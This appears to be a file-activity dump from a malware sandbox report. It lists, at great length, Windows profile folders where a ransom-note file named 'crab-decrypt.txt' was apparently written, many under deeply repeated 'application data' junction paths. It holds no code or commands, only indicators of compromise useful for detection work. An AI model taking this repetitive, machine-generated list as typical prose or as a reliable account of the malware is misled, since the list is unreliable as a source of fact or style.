documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\history\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\history\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\history\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\history\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\history\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\history\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\microsoft\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\microsoft\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\temp\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\temp\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\temp\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\history\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\history\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\history\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\microsoft\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\microsoft\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\temp\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\temp\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\temp\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\temporary internet files\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\temporary internet files\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\temporary internet files\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\history\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\history\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\history\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\microsoft\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\microsoft\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\temp\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\temp\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\temp\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\temporary internet files\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\temporary internet files\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\temporary internet files\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\history\crab-decrypt.txt
documents and settings\default\appdata\local\application data\history\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\history\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\microsoft\crab-decrypt.txt
documents and settings\default\appdata\local\application data\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\microsoft\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\microsoft\inputpersonalization\crab-decrypt.txt
documents and settings\default\appdata\local\application data\microsoft\inputpersonalization\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\microsoft\inputpersonalization\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
documents and settings\default\appdata\local\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\microsoft\windows sidebar\crab-decrypt.txt
documents and settings\default\appdata\local\application data\microsoft\windows sidebar\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\microsoft\windows sidebar\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
documents and settings\default\appdata\local\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\temp\crab-decrypt.txt
documents and settings\default\appdata\local\application data\temp\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\temp\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\temporary internet files\crab-decrypt.txt
documents and settings\default\appdata\local\application data\temporary internet files\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\temporary internet files\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\history\crab-decrypt.txt
documents and settings\default\appdata\local\history\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\history\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\microsoft\crab-decrypt.txt
documents and settings\default\appdata\local\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\microsoft\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\microsoft\inputpersonalization\crab-decrypt.txt
documents and settings\default\appdata\local\microsoft\inputpersonalization\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\microsoft\inputpersonalization\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
documents and settings\default\appdata\local\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\microsoft\windows sidebar\crab-decrypt.txt
documents and settings\default\appdata\local\microsoft\windows sidebar\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\microsoft\windows sidebar\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\microsoft\windows sidebar\gadgets\crab-decrypt.txt
documents and settings\default\appdata\local\microsoft\windows sidebar\gadgets\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\microsoft\windows sidebar\gadgets\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\temp\crab-decrypt.txt
documents and settings\default\appdata\local\temp\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\temp\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\temporary internet files\crab-decrypt.txt
documents and settings\default\appdata\local\temporary internet files\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\temporary internet files\crab-decrypt.txt
txt
File
documents and settings\default\application data\crab-decrypt.txt
documents and settings\default\application data\crab-decrypt.txt
c:\
c:\documents and settings\default\application data\crab-decrypt.txt
txt
File
documents and settings\default\application data\microsoft\crab-decrypt.txt
documents and settings\default\application data\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default\application data\microsoft\crab-decrypt.txt
txt
File
documents and settings\default\application data\microsoft\internet explorer\crab-decrypt.txt
documents and settings\default\application data\microsoft\internet explorer\crab-decrypt.txt
c:\
c:\documents and settings\default\application data\microsoft\internet explorer\crab-decrypt.txt
txt
File
documents and settings\default\application data\microsoft\internet explorer\quick launch\crab-decrypt.txt
documents and settings\default\application data\microsoft\internet explorer\quick launch\crab-decrypt.txt
c:\
c:\documents and settings\default\application data\microsoft\internet explorer\quick launch\crab-decrypt.txt
txt
File
documents and settings\default\music\crab-decrypt.txt
documents and settings\default\music\crab-decrypt.txt
c:\
c:\documents and settings\default\music\crab-decrypt.txt
txt
File
documents and settings\default\my documents\crab-decrypt.txt
documents and settings\default\my documents\crab-decrypt.txt
c:\
c:\documents and settings\default\my documents\crab-decrypt.txt
txt
File
documents and settings\default\my documents\my music\crab-decrypt.txt
documents and settings\default\my documents\my music\crab-decrypt.txt
c:\
c:\documents and settings\default\my documents\my music\crab-decrypt.txt
txt
File
documents and settings\default\my documents\my pictures\crab-decrypt.txt
documents and settings\default\my documents\my pictures\crab-decrypt.txt
c:\
c:\documents and settings\default\my documents\my pictures\crab-decrypt.txt
txt
File
documents and settings\default\my documents\my videos\crab-decrypt.txt
documents and settings\default\my documents\my videos\crab-decrypt.txt
c:\
c:\documents and settings\default\my documents\my videos\crab-decrypt.txt
txt
File
documents and settings\default\pictures\crab-decrypt.txt
documents and settings\default\pictures\crab-decrypt.txt
c:\
c:\documents and settings\default\pictures\crab-decrypt.txt
txt
File
documents and settings\default\videos\crab-decrypt.txt
documents and settings\default\videos\crab-decrypt.txt
c:\
c:\documents and settings\default\videos\crab-decrypt.txt
txt
File
documents and settings\default user\crab-decrypt.txt
documents and settings\default user\crab-decrypt.txt
c:\
c:\documents and settings\default user\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\crab-decrypt.txt
documents and settings\default user\appdata\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\crab-decrypt.txt
documents and settings\default user\appdata\local\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\crab-decrypt.txt
txt
File
